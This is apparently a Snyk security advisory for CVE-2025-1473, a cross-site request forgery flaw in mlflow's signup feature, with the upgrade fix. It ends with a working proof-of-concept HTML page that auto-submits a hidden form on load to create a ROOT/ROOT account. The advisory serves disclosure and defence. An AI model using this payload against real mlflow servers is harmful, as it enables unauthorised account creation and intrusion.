Cross-site Request Forgery (CSRF) Affecting mlflow package, versions [,2.20.2)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published21 Mar 2025
- disclosed20 Mar 2025
- creditkrishnast545
Introduced: 20 Mar 2025
CVE-2025-1473 (opens in a new tab)How to fix?
Upgrade mlflow to version 2.20.2 or higher.
Overview
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) through the Signup feature. An attacker can create a new account, which may be used to perform unauthorized actions on behalf of the malicious user.
PoC
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF Attack</title> </head> <body onload="document.forms['csrfForm'].submit();"> <form id="csrfForm" action="http://127.0.0.1:5000/api/2.0/mlflow/users/create" method="POST"> <input type="hidden" name="username" value="ROOT"> <input type="hidden" name="password" value="ROOT"> </form> </body> </html>